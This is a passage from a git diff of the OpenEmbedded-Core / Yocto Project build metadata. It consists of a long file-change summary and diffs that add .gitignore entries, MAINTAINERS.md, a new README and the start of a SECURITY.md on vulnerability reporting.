-rw-r--r--meta/recipes-support/libffi/libffi/0001-powerpc-fix-build-failure-on-power7-and-older-532.patch38
-rw-r--r--meta/recipes-support/libffi/libffi/not-win32.patch9
-rw-r--r--meta/recipes-support/libffi/libffi_3.3.bb41
-rw-r--r--meta/recipes-support/libffi/libffi_3.4.6.bb32
-rw-r--r--meta/recipes-support/libfm/libfm-extra_1.3.1.bb23
-rw-r--r--meta/recipes-support/libfm/libfm-extra_1.3.2.bb23
-rw-r--r--meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch2
-rw-r--r--meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch2
-rw-r--r--meta/recipes-support/libfm/libfm_1.3.1.bb54
-rw-r--r--meta/recipes-support/libfm/libfm_1.3.2.bb55
-rw-r--r--meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch90
-rw-r--r--meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch11
-rw-r--r--meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch332
-rw-r--r--meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch16
-rw-r--r--meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch178
-rw-r--r--meta/recipes-support/libgcrypt/files/0003-tests-bench-slope.c-workaround-ICE-failure-on-mips-w.patch79
-rw-r--r--meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch34
-rw-r--r--meta/recipes-support/libgcrypt/files/determinism.patch32
-rw-r--r--meta/recipes-support/libgcrypt/files/no-bench-slope.patch20
-rw-r--r--meta/recipes-support/libgcrypt/files/no-native-gpg-error.patch18
-rw-r--r--meta/recipes-support/libgcrypt/files/run-ptest9
-rw-r--r--meta/recipes-support/libgcrypt/libgcrypt_1.10.3.bb55
-rw-r--r--meta/recipes-support/libgcrypt/libgcrypt_1.8.6.bb57
-rw-r--r--meta/recipes-support/libgit2/libgit2_1.7.2.bb21
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/0001-Do-not-fail-when-testing-config-scripts.patch7
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/0003-build-Fix-cross-compiling-into-a-separate-build-dir.patch43
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/0005-src-gen-lock-obj.sh-add-a-file.patch134
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/pkgconfig.patch185
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error/run-ptest3
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error_1.38.bb42
-rw-r--r--meta/recipes-support/libgpg-error/libgpg-error_1.48.bb53
-rw-r--r--meta/recipes-support/libical/libical/0001-Use-our-hand-build-native-src-generator.patch33
-rw-r--r--meta/recipes-support/libical/libical/0001-cmake-Do-not-export-CC-into-gir-compiler.patch33
-rw-r--r--meta/recipes-support/libical/libical_3.0.18.bb54
-rw-r--r--meta/recipes-support/libical/libical_3.0.8.bb45
-rw-r--r--meta/recipes-support/libjitterentropy/files/0001-Make-man-pages-reproducible.patch30
-rw-r--r--meta/recipes-support/libjitterentropy/files/0001-Makefile-cleanup-install-for-rebuilds.patch56
-rw-r--r--meta/recipes-support/libjitterentropy/libjitterentropy_2.2.0.bb29
-rw-r--r--meta/recipes-support/libjitterentropy/libjitterentropy_3.4.1.bb27
-rw-r--r--meta/recipes-support/libksba/libksba/ksba-add-pkgconfig-support.patch20
-rw-r--r--meta/recipes-support/libksba/libksba_1.4.0.bb29
-rw-r--r--meta/recipes-support/libksba/libksba_1.6.6.bb34
-rw-r--r--meta/recipes-support/libmd/libmd_1.1.0.bb16
-rw-r--r--meta/recipes-support/libmicrohttpd/libmicrohttpd_1.0.1.bb27
-rw-r--r--meta/recipes-support/libmpc/libmpc.inc2
-rw-r--r--meta/recipes-support/libmpc/libmpc_1.1.0.bb13
-rw-r--r--meta/recipes-support/libmpc/libmpc_1.3.1.bb12
-rwxr-xr-xmeta/recipes-support/libnl/files/run-ptest3
-rw-r--r--meta/recipes-support/libnl/libnl_3.5.0.bb44
-rw-r--r--meta/recipes-support/libnl/libnl_3.9.0.bb64
-rw-r--r--meta/recipes-support/libpcre/libpcre/fix-pcre-name-collision.patch41
-rw-r--r--meta/recipes-support/libpcre/libpcre2_10.35.bb52
-rw-r--r--meta/recipes-support/libpcre/libpcre2_10.43.bb55
-rw-r--r--meta/recipes-support/libpcre/libpcre_8.44.bb75
-rw-r--r--meta/recipes-support/libpcre/libpcre_8.45.bb73
-rw-r--r--meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch31
-rw-r--r--meta/recipes-support/libproxy/libproxy_0.4.15.bb39
-rw-r--r--meta/recipes-support/libproxy/libproxy_0.5.4.bb28
-rw-r--r--meta/recipes-support/libpsl/libpsl/0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch50
-rw-r--r--meta/recipes-support/libpsl/libpsl/0001-gtk-doc-do-not-include-tree_index.sgml.patch28
-rw-r--r--meta/recipes-support/libpsl/libpsl_0.21.0.bb23
-rw-r--r--meta/recipes-support/libpsl/libpsl_0.21.5.bb26
-rw-r--r--meta/recipes-support/libseccomp/files/run-ptest7
-rw-r--r--meta/recipes-support/libseccomp/libseccomp_2.5.5.bb62
-rw-r--r--meta/recipes-support/libsoup/libsoup-2.4/0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch44
-rw-r--r--meta/recipes-support/libsoup/libsoup-2.4_2.70.0.bb43
-rw-r--r--meta/recipes-support/libsoup/libsoup-2.4_2.74.3.bb59
-rw-r--r--meta/recipes-support/libsoup/libsoup_3.4.4.bb59
-rw-r--r--meta/recipes-support/libssh2/libssh2/CVE-2023-48795.patch466
-rw-r--r--meta/recipes-support/libssh2/libssh2/run-ptest8
-rw-r--r--meta/recipes-support/libssh2/libssh2_1.11.0.bb53
-rw-r--r--meta/recipes-support/libunistring/libunistring/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch56
-rw-r--r--meta/recipes-support/libunistring/libunistring_0.9.10.bb30
-rw-r--r--meta/recipes-support/libunistring/libunistring_1.2.bb27
-rw-r--r--meta/recipes-support/libunwind/libunwind.inc22
-rw-r--r--meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch62
-rw-r--r--meta/recipes-support/libunwind/libunwind/0001-Fix-compilation-with-fno-common.patch448
-rw-r--r--meta/recipes-support/libunwind/libunwind/0001-src-Gtrace-remove-unguarded-print-calls.patch52
-rw-r--r--meta/recipes-support/libunwind/libunwind/0002-backtrace-Use-only-with-glibc-and-uclibc.patch45
-rw-r--r--meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch54
-rw-r--r--meta/recipes-support/libunwind/libunwind/0004-Fix-build-on-mips-musl.patch84
-rw-r--r--meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch16
-rw-r--r--meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch32
-rw-r--r--meta/recipes-support/libunwind/libunwind/mips-byte-order.patch35
-rw-r--r--meta/recipes-support/libunwind/libunwind/mips-coredump-register.patch100
-rw-r--r--meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch44
-rw-r--r--meta/recipes-support/libunwind/libunwind/sigset_t.patch28
-rw-r--r--meta/recipes-support/libunwind/libunwind_1.4.0.bb26
-rw-r--r--meta/recipes-support/libunwind/libunwind_1.6.2.bb42
-rw-r--r--meta/recipes-support/liburcu/liburcu_0.12.1.bb22
-rw-r--r--meta/recipes-support/liburcu/liburcu_0.14.0.bb24
-rw-r--r--meta/recipes-support/libusb/libusb1_1.0.23.bb44
-rw-r--r--meta/recipes-support/libusb/libusb1_1.0.27.bb48
-rw-r--r--meta/recipes-support/libxslt/libxslt_1.1.34.bb53
-rw-r--r--meta/recipes-support/libxslt/libxslt_1.1.39.bb58
-rw-r--r--meta/recipes-support/libyaml/libyaml_0.2.5.bb3
-rw-r--r--meta/recipes-support/lz4/files/run-ptest46
-rw-r--r--meta/recipes-support/lz4/lz4_1.9.2.bb30
-rw-r--r--meta/recipes-support/lz4/lz4_1.9.4.bb46
-rw-r--r--meta/recipes-support/lzo/lzo/0001-Use-memcpy-instead-of-reinventing-it.patch10
-rw-r--r--meta/recipes-support/lzo/lzo_2.10.bb6
-rw-r--r--meta/recipes-support/lzop/lzop_1.04.bb5
-rw-r--r--meta/recipes-support/mpfr/mpfr_4.1.0.bb18
-rw-r--r--meta/recipes-support/mpfr/mpfr_4.2.1.bb19
-rw-r--r--meta/recipes-support/nettle/nettle-3.6/dlopen-test.patch29
-rw-r--r--meta/recipes-support/nettle/nettle-3.6/run-ptest36
-rw-r--r--meta/recipes-support/nettle/nettle/Add-target-to-only-build-tests-not-run-them.patch (renamed from meta/recipes-support/nettle/nettle-3.6/Add-target-to-only-build-tests-not-run-them.patch)0
-rw-r--r--meta/recipes-support/nettle/nettle/check-header-files-of-openssl-only-if-enable_.patch (renamed from meta/recipes-support/nettle/nettle-3.6/check-header-files-of-openssl-only-if-enable_.patch)0
-rw-r--r--meta/recipes-support/nettle/nettle/run-ptest40
-rw-r--r--meta/recipes-support/nettle/nettle_3.6.bb54
-rw-r--r--meta/recipes-support/nettle/nettle_3.9.1.bb61
-rw-r--r--meta/recipes-support/nghttp2/nghttp2_1.61.0.bb28
-rw-r--r--meta/recipes-support/npth/npth/musl-fix.patch37
-rw-r--r--meta/recipes-support/npth/npth/pkgconfig.patch74
-rw-r--r--meta/recipes-support/npth/npth_1.6.bb27
-rw-r--r--meta/recipes-support/npth/npth_1.7.bb25
-rw-r--r--meta/recipes-support/nss-myhostname/nss-myhostname_0.3.bb8
-rw-r--r--meta/recipes-support/numactl/numactl/0001-define-run-test-target.patch33
-rw-r--r--meta/recipes-support/numactl/numactl/Fix-the-test-output-format.patch63
-rw-r--r--meta/recipes-support/numactl/numactl/Makefile7
-rwxr-xr-xmeta/recipes-support/numactl/numactl/run-ptest27
-rw-r--r--meta/recipes-support/numactl/numactl_git.bb59
-rw-r--r--meta/recipes-support/p11-kit/files/fix-parallel-build-failures.patch33
-rw-r--r--meta/recipes-support/p11-kit/p11-kit_0.23.20.bb29
-rw-r--r--meta/recipes-support/p11-kit/p11-kit_0.25.3.bb34
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.1.0/gpg-error_pkconf.patch100
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.1.0/libassuan_pkgconf.patch153
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.2.1/gpg-error_pkconf.patch196
-rw-r--r--meta/recipes-support/pinentry/pinentry-1.2.1/libassuan_pkgconf.patch170
-rw-r--r--meta/recipes-support/pinentry/pinentry_1.1.0.bb37
-rw-r--r--meta/recipes-support/pinentry/pinentry_1.2.1.bb38
-rw-r--r--meta/recipes-support/popt/popt/run-ptest3
-rw-r--r--meta/recipes-support/popt/popt_1.18.bb15
-rw-r--r--meta/recipes-support/popt/popt_1.19.bb31
-rw-r--r--meta/recipes-support/ptest-runner/ptest-runner_2.4.0.bb29
-rw-r--r--meta/recipes-support/ptest-runner/ptest-runner_2.4.3.bb39
-rw-r--r--meta/recipes-support/re2c/re2c_2.0.bb14
-rw-r--r--meta/recipes-support/re2c/re2c_3.1.bb15
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/a4b6d9ce64f132e463b9091d0536913ddaf11516.patch42
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch51
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/rng-tools.service32
-rw-r--r--meta/recipes-support/rng-tools/rng-tools/rngd.service32
-rw-r--r--meta/recipes-support/rng-tools/rng-tools_6.10.bb62
-rw-r--r--meta/recipes-support/rng-tools/rng-tools_6.16.bb69
-rw-r--r--meta/recipes-support/serf/serf/0001-Fix-syntax-of-a-print-in-the-scons-file-to-unbreak-b.patch29
-rw-r--r--meta/recipes-support/serf/serf/0004-Follow-up-to-r1811083-fix-building-with-scons-3.0.0-.patch29
-rw-r--r--meta/recipes-support/serf/serf_1.3.10.bb40
-rw-r--r--meta/recipes-support/serf/serf_1.3.9.bb33
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info/0001-Fix-build-with-libxml2-2.12.0-and-clang-17.patch26
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info/0002-Handle-build-with-older-versions-of-GCC.patch54
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info_2.4.bb31
-rw-r--r--meta/recipes-support/shared-mime-info/shared-mime-info_git.bb28
-rw-r--r--meta/recipes-support/sqlite/sqlite3.inc22
-rw-r--r--meta/recipes-support/sqlite/sqlite3_3.32.3.bb11
-rw-r--r--meta/recipes-support/sqlite/sqlite3_3.45.1.bb8
-rw-r--r--meta/recipes-support/taglib/taglib/CVE-2017-12678.patch40
-rw-r--r--meta/recipes-support/taglib/taglib/CVE-2018-11439.patch51
-rw-r--r--meta/recipes-support/taglib/taglib_1.11.1.bb44
-rw-r--r--meta/recipes-support/taglib/taglib_2.0.bb42
-rw-r--r--meta/recipes-support/user-creation/xuser-account_0.1.bb6
-rw-r--r--meta/recipes-support/utfcpp/utfcpp_4.0.5.bb16
-rw-r--r--meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch13
-rw-r--r--meta/recipes-support/vim/files/disable_acl_header_check.patch17
-rw-r--r--meta/recipes-support/vim/files/no-path-adjust.patch29
-rw-r--r--meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch13
-rw-r--r--meta/recipes-support/vim/vim-tiny_9.1.bb (renamed from meta/recipes-support/vim/vim-tiny_8.2.bb)0
-rw-r--r--meta/recipes-support/vim/vim.inc75
-rw-r--r--meta/recipes-support/vim/vim_8.2.bb15
-rw-r--r--meta/recipes-support/vim/vim_9.1.bb23
-rw-r--r--meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch58
-rw-r--r--meta/recipes-support/vte/vte_0.60.3.bb58
-rw-r--r--meta/recipes-support/vte/vte_0.74.2.bb56
-rw-r--r--meta/recipes-support/xxhash/xxhash_0.8.2.bb27
-rw-r--r--meta/site/arc-common4
-rw-r--r--meta/site/arm-3239
-rw-r--r--meta/site/arm-6438
-rw-r--r--meta/site/arm-common22
-rw-r--r--meta/site/arm-darwin2
-rw-r--r--meta/site/arm-darwin82
-rw-r--r--meta/site/arm-linux2
-rw-r--r--meta/site/armeb-linux2
-rw-r--r--meta/site/common-glibc14
-rw-r--r--meta/site/common-linux3
-rw-r--r--meta/site/common-musl14
-rw-r--r--meta/site/ix86-common49
-rw-r--r--meta/site/loongarch64-linux7
-rw-r--r--meta/site/microblaze-linux23
-rw-r--r--meta/site/mips-common31
-rw-r--r--meta/site/mips-linux21
-rw-r--r--meta/site/mips64-linux25
-rw-r--r--meta/site/mips64el-linux25
-rw-r--r--meta/site/mipsel-linux21
-rw-r--r--meta/site/mipsisa32r6-linux21
-rw-r--r--meta/site/mipsisa32r6el-linux21
-rw-r--r--meta/site/mipsisa64r6-linux25
-rw-r--r--meta/site/mipsisa64r6el-linux25
-rw-r--r--meta/site/nios2-linux53
-rw-r--r--meta/site/powerpc-common14
-rw-r--r--meta/site/powerpc-linux5
-rw-r--r--meta/site/powerpc32-linux52
-rw-r--r--meta/site/powerpc32-linux-glibc8
-rw-r--r--meta/site/powerpc32-linux-musl2
-rw-r--r--meta/site/powerpc64-linux1
-rw-r--r--meta/site/powerpc64-linux-glibc2
-rw-r--r--meta/site/powerpc64-linux-musl1
-rw-r--r--meta/site/riscv32-linux4
-rw-r--r--meta/site/riscv64-linux4
-rw-r--r--meta/site/sh-common50
-rw-r--r--meta/site/sparc-linux6
-rw-r--r--meta/site/x32-linux4
-rw-r--r--meta/site/x86_64-linux49
-rwxr-xr-xoe-init-build-env10
-rw-r--r--scripts/.oe-layers.json7
-rwxr-xr-xscripts/autobuilder-worker-prereq-tests28
-rwxr-xr-xscripts/bblock184
-rwxr-xr-xscripts/bitbake-prserv-tool9
-rwxr-xr-xscripts/bitbake-whatchanged320
-rwxr-xr-xscripts/buildhistory-collect-srcrevs6
-rwxr-xr-xscripts/buildhistory-diff14
-rwxr-xr-xscripts/buildstats-diff2
-rwxr-xr-xscripts/buildstats-summary126
-rwxr-xr-xscripts/combo-layer38
-rwxr-xr-xscripts/combo-layer-hook-default.sh2
-rwxr-xr-xscripts/contrib/bb-perf/bb-matrix-plot.sh4
-rwxr-xr-xscripts/contrib/bbvars.py6
-rwxr-xr-xscripts/contrib/build-perf-test-wrapper.sh15
-rwxr-xr-xscripts/contrib/convert-overrides.py155
-rwxr-xr-xscripts/contrib/convert-spdx-licenses.py145
-rwxr-xr-xscripts/contrib/convert-srcuri.py77
-rwxr-xr-xscripts/contrib/convert-variable-renames.py116
-rwxr-xr-xscripts/contrib/ddimage2
-rwxr-xr-xscripts/contrib/dialog-power-control2
-rwxr-xr-xscripts/contrib/documentation-audit.sh6
-rwxr-xr-xscripts/contrib/image-manifest523
-rwxr-xr-xscripts/contrib/list-packageconfig-flags.py2
-rwxr-xr-xscripts/contrib/oe-build-perf-report-email.py167
-rwxr-xr-xscripts/contrib/patchreview.py71
-rwxr-xr-xscripts/contrib/test_build_time.sh2
-rwxr-xr-xscripts/contrib/test_build_time_worker.sh2
-rwxr-xr-xscripts/contrib/verify-homepage.py2
-rwxr-xr-xscripts/cp-noerror2
-rwxr-xr-xscripts/create-pull-request9
l---------scripts/cross-intercept/ar1
-rwxr-xr-xscripts/crosstap8
-rwxr-xr-xscripts/devtool34
l---------scripts/esdk-tools/devtool1
l---------scripts/esdk-tools/oe-find-native-sysroot1
l---------scripts/esdk-tools/recipetool1
l---------scripts/esdk-tools/runqemu1
l---------scripts/esdk-tools/runqemu-addptable2image1
l---------scripts/esdk-tools/runqemu-export-rootfs1
l---------scripts/esdk-tools/runqemu-extract-sdk1
l---------scripts/esdk-tools/runqemu-gen-tapdevs1
l---------scripts/esdk-tools/runqemu-ifdown1
l---------scripts/esdk-tools/runqemu-ifup1
l---------scripts/esdk-tools/wic1
-rwxr-xr-xscripts/gen-lockedsig-cache6
-rwxr-xr-xscripts/git30
-rwxr-xr-xscripts/install-buildtools22
-rw-r--r--scripts/lib/argparse_oe.py2
-rw-r--r--scripts/lib/build_perf/report.py3
-rw-r--r--scripts/lib/buildstats.py38
-rw-r--r--scripts/lib/checklayer/__init__.py58
-rw-r--r--scripts/lib/checklayer/cases/bsp.py4
-rw-r--r--scripts/lib/checklayer/cases/common.py46
-rw-r--r--scripts/lib/checklayer/cases/distro.py2
-rw-r--r--scripts/lib/devtool/__init__.py34
-rw-r--r--scripts/lib/devtool/build_image.py2
-rw-r--r--scripts/lib/devtool/build_sdk.py2
-rw-r--r--scripts/lib/devtool/deploy.py234
-rw-r--r--scripts/lib/devtool/ide_plugins/__init__.py282
-rw-r--r--scripts/lib/devtool/ide_plugins/ide_code.py463
-rw-r--r--scripts/lib/devtool/ide_plugins/ide_none.py53
-rwxr-xr-xscripts/lib/devtool/ide_sdk.py1070
-rw-r--r--scripts/lib/devtool/menuconfig.py4
-rw-r--r--scripts/lib/devtool/sdk.py5
-rw-r--r--scripts/lib/devtool/search.py5
-rw-r--r--scripts/lib/devtool/standard.py537
-rw-r--r--scripts/lib/devtool/upgrade.py198
-rw-r--r--scripts/lib/recipetool/append.py78
-rw-r--r--scripts/lib/recipetool/create.py360
-rw-r--r--scripts/lib/recipetool/create_buildsys.py43
-rw-r--r--scripts/lib/recipetool/create_buildsys_python.py1100
-rw-r--r--scripts/lib/recipetool/create_go.py779
-rw-r--r--scripts/lib/recipetool/create_kmod.py2
-rw-r--r--scripts/lib/recipetool/create_npm.py107
-rw-r--r--scripts/lib/recipetool/licenses.csv37
-rw-r--r--scripts/lib/recipetool/setvar.py1
-rw-r--r--scripts/lib/resulttool/log.py13
-rw-r--r--scripts/lib/resulttool/regression.py281
-rw-r--r--scripts/lib/resulttool/report.py5
-rw-r--r--scripts/lib/resulttool/resultutils.py8
-rw-r--r--scripts/lib/scriptutils.py25
-rw-r--r--scripts/lib/wic/canned-wks/efi-bootdisk.wks.in2
-rw-r--r--scripts/lib/wic/canned-wks/qemuloongarch.wks3
-rw-r--r--scripts/lib/wic/canned-wks/qemux86-directdisk.wks2
-rw-r--r--scripts/lib/wic/engine.py6
-rw-r--r--scripts/lib/wic/filemap.py7
-rw-r--r--scripts/lib/wic/help.py18
-rw-r--r--scripts/lib/wic/ksparser.py50
-rw-r--r--scripts/lib/wic/misc.py17
-rw-r--r--scripts/lib/wic/partition.py163
-rw-r--r--scripts/lib/wic/pluginbase.py8
-rw-r--r--scripts/lib/wic/plugins/imager/direct.py203
-rw-r--r--scripts/lib/wic/plugins/source/bootimg-efi.py219
-rw-r--r--scripts/lib/wic/plugins/source/bootimg-partition.py9
-rw-r--r--scripts/lib/wic/plugins/source/bootimg-pcbios.py12
-rw-r--r--scripts/lib/wic/plugins/source/empty.py89
-rw-r--r--scripts/lib/wic/plugins/source/isoimage-isohybrid.py16
-rw-r--r--scripts/lib/wic/plugins/source/rawcopy.py42
-rw-r--r--scripts/lib/wic/plugins/source/rootfs.py40
-rwxr-xr-xscripts/lnr24
-rwxr-xr-xscripts/native-intercept/ar32
-rwxr-xr-xscripts/nativesdk-intercept/chgrp30
-rwxr-xr-xscripts/nativesdk-intercept/chown30
-rwxr-xr-xscripts/oe-build-perf-report8
-rwxr-xr-xscripts/oe-buildenv-internal35
-rwxr-xr-xscripts/oe-check-sstate14
-rwxr-xr-xscripts/oe-debuginfod28
-rwxr-xr-xscripts/oe-depends-dot34
-rwxr-xr-xscripts/oe-find-native-sysroot15
-rwxr-xr-xscripts/oe-gnome-terminal-phonehome2
-rwxr-xr-xscripts/oe-pkgdata-browser13
-rwxr-xr-xscripts/oe-pkgdata-util50
-rwxr-xr-xscripts/oe-publish-sdk10
-rwxr-xr-xscripts/oe-pylint2
-rwxr-xr-xscripts/oe-run-native2
-rwxr-xr-xscripts/oe-setup-build122
-rwxr-xr-xscripts/oe-setup-builddir106
-rwxr-xr-xscripts/oe-setup-layers146
-rwxr-xr-xscripts/oe-setup-vscode93
-rwxr-xr-xscripts/oe-time-dd-test.sh106
-rwxr-xr-xscripts/oe-trim-schemas2
-rwxr-xr-xscripts/oepydevshell-internal.py4
-rwxr-xr-xscripts/opkg-query-helper.py2
-rwxr-xr-xscripts/patchtest232
-rwxr-xr-xscripts/patchtest-get-branch81
-rwxr-xr-xscripts/patchtest-get-series115
-rwxr-xr-xscripts/patchtest-send-results110
-rwxr-xr-xscripts/patchtest-setup-sharedir83
-rw-r--r--scripts/patchtest.README153
-rw-r--r--scripts/postinst-intercepts/update_font_cache2
-rw-r--r--scripts/postinst-intercepts/update_gtk_icon_cache6
-rw-r--r--scripts/postinst-intercepts/update_mandb18
-rw-r--r--scripts/postinst-intercepts/update_udev_hwdb6
-rw-r--r--scripts/pybootchartgui/pybootchartgui/draw.py158
-rw-r--r--scripts/pybootchartgui/pybootchartgui/parsing.py35
-rw-r--r--scripts/pybootchartgui/pybootchartgui/samples.py25
-rwxr-xr-xscripts/pythondeps2
-rwxr-xr-xscripts/relocate_sdk.py35
-rwxr-xr-xscripts/rpm2cpio.sh30
-rwxr-xr-xscripts/runqemu634
-rwxr-xr-xscripts/runqemu-addptable2image2
-rwxr-xr-xscripts/runqemu-export-rootfs25
-rwxr-xr-xscripts/runqemu-extract-sdk2
-rwxr-xr-xscripts/runqemu-gen-tapdevs120
-rwxr-xr-xscripts/runqemu-ifdown42
-rwxr-xr-xscripts/runqemu-ifup65
-rw-r--r--scripts/runqemu.README16
-rwxr-xr-xscripts/sstate-cache-management.py329
-rwxr-xr-xscripts/sstate-cache-management.sh458
-rwxr-xr-xscripts/sstate-diff-machines.sh6
-rwxr-xr-xscripts/sstate-sysroot-cruft.sh14
-rwxr-xr-xscripts/sysroot-relativelinks.py2
-rwxr-xr-xscripts/task-time2
-rwxr-xr-xscripts/verify-bashisms14
-rwxr-xr-xscripts/wic13
-rwxr-xr-xscripts/yocto-check-layer52
-rwxr-xr-xscripts/yocto_testresults_query.py131
5036 files changed, 217844 insertions, 294226 deletions
diff --git a/.gitignore b/.gitignore
index b66d371aac..32be84027c 100644
--- a/.gitignore
+++ b/.gitignore
@@ -17,3 +17,8 @@ hob-image-*.bb
*.orig
*.rej
*~
+_toaster_clones/
+downloads/
+sstate-cache/
+toaster.sqlite
+.vscode/
diff --git a/.templateconf b/.templateconf
index 0bf5ecf1e5..e399e06acd 100644
--- a/.templateconf
+++ b/.templateconf
@@ -1,2 +1,2 @@
# Template settings
-TEMPLATECONF=${TEMPLATECONF:-meta/conf}
+TEMPLATECONF=${TEMPLATECONF:-meta/conf/templates/default}
diff --git a/MAINTAINERS.md b/MAINTAINERS.md
new file mode 100644
index 0000000000..505c2e234d
--- /dev/null
+++ b/MAINTAINERS.md
@@ -0,0 +1,71 @@
+OpenEmbedded-Core and Yocto Project Maintainer Information
+==========================================================
+
+OpenEmbedded and Yocto Project work jointly together to maintain the metadata,
+layers, tools and sub-projects that make up their ecosystems.
+
+The projects operate through collaborative development. This currently takes
+place on mailing lists for many components as the "pull request on github"
+workflow works well for single or small numbers of maintainers but we have
+a large number, all with different specialisms and benefit from the mailing
+list review process. Changes therefore undergo peer review through mailing
+lists in many cases.
+
+This file aims to acknowledge people with specific skills/knowledge/interest
+both to recognise their contributions but also empower them to help lead and
+curate those components. Where we have people with specialist knowledge in
+particular areas, during review patches/feedback from these people in these
+areas would generally carry weight.
+
+This file is maintained in OE-Core but may refer to components that are separate
+to it if that makes sense in the context of maintainership. The README of specific
+layers and components should ultimately be definitive about the patch process and
+maintainership for the component.
+
+Recipe Maintainers
+------------------
+
+See meta/conf/distro/include/maintainers.inc
+
+Component/Subsystem Maintainers
+-------------------------------
+
+* Kernel (inc. linux-yocto, perf): Bruce Ashfield
+* Reproducible Builds: Joshua Watt
+* Toaster: David Reyna
+* Hash-Equivalence: Joshua Watt
+* Recipe upgrade infrastructure: Alex Kanavin
+* Toolchain: Khem Raj
+* ptest-runner: Aníbal Limón
+* opkg: Alex Stewart
+* devtool: Saul Wold
+* eSDK: Saul Wold
+* overlayfs: Vyacheslav Yurkov
+
+Maintainers needed
+------------------
+
+* Pseudo
+* Layer Index
+* recipetool
+* QA framework/automated testing
+* error reporting system/web UI
+* wic
+* Patchwork
+* Patchtest
+* Matchbox
+* Sato
+* Autobuilder
+
+Layer Maintainers needed
+------------------------
+
+* meta-gplv2 (ideally new strategy but active maintainer welcome)
+
+Shadow maintainers/development needed
+--------------------------------------
+
+* toaster
+* bitbake
+
+
diff --git a/README.OE-Core b/README.OE-Core
deleted file mode 100644
index 521916cd4f..0000000000
--- a/README.OE-Core
+++ /dev/null
@@ -1,29 +0,0 @@
-OpenEmbedded-Core
-=================
-
-OpenEmbedded-Core is a layer containing the core metadata for current versions
-of OpenEmbedded. It is distro-less (can build a functional image with
-DISTRO = "nodistro") and contains only emulated machine support.
-
-For information about OpenEmbedded, see the OpenEmbedded website:
- http://www.openembedded.org/
-
-The Yocto Project has extensive documentation about OE including a reference manual
-which can be found at:
- http://yoctoproject.org/documentation
-
-
-Contributing
-------------
-
-Please refer to
-http://www.openembedded.org/wiki/How_to_submit_a_patch_to_OpenEmbedded
-for guidelines on how to submit patches.
-
-Mailing list:
-
- http://lists.openembedded.org/mailman/listinfo/openembedded-core
-
-Source code:
-
- http://git.openembedded.org/openembedded-core/
diff --git a/README.OE-Core.md b/README.OE-Core.md
new file mode 100644
index 0000000000..687c58e410
--- /dev/null
+++ b/README.OE-Core.md
@@ -0,0 +1,33 @@
+OpenEmbedded-Core
+=================
+
+OpenEmbedded-Core is a layer containing the core metadata for current versions
+of OpenEmbedded. It is distro-less (can build a functional image with
+DISTRO = "nodistro") and contains only emulated machine support.
+
+For information about OpenEmbedded, see the OpenEmbedded website:
+ https://www.openembedded.org/
+
+The Yocto Project has extensive documentation about OE including a reference manual
+which can be found at:
+ https://docs.yoctoproject.org/
+
+
+Contributing
+------------
+
+Please refer to our contributor guide here: https://docs.yoctoproject.org/dev/contributor-guide/
+for full details on how to submit changes.
+
+As a quick guide, patches should be sent to openembedded-core@lists.openembedded.org
+The git command to do that would be:
+
+ git send-email -M -1 --to openembedded-core@lists.openembedded.org
+
+Mailing list:
+
+ https://lists.openembedded.org/g/openembedded-core
+
+Source code:
+
+ https://git.openembedded.org/openembedded-core/
diff --git a/README.md b/README.md
new file mode 120000
index 0000000000..4d7e9e8b42
--- /dev/null
+++ b/README.md
@@ -0,0 +1 @@
+README.OE-Core.md \ No newline at end of file
diff --git a/README.qemu b/README.qemu.md
index 9f56b7d668..9f56b7d668 100644
--- a/README.qemu
+++ b/README.qemu.md
diff --git a/SECURITY.md b/SECURITY.md
new file mode 100644
index 0000000000..1b63da4f69
--- /dev/null
+++ b/SECURITY.md
@@ -0,0 +1,22 @@
+How to Report a Potential Vulnerability?
+========================================
+
+If you would like to report a public issue (for example, one with a released
+CVE number), please report it using the
+[https://bugzilla.yoctoproject.org/enter_bug.cgi?product=Security Security Bugzilla]
+
+If you are dealing with a not-yet released or urgent issue, please send a
+message to security AT yoctoproject DOT org, including as many details as
+possible: the layer or software module affected, the recipe and its version,
+and any example code, if available.
+
+Branches maintained with security fixes
+---------------------------------------
+
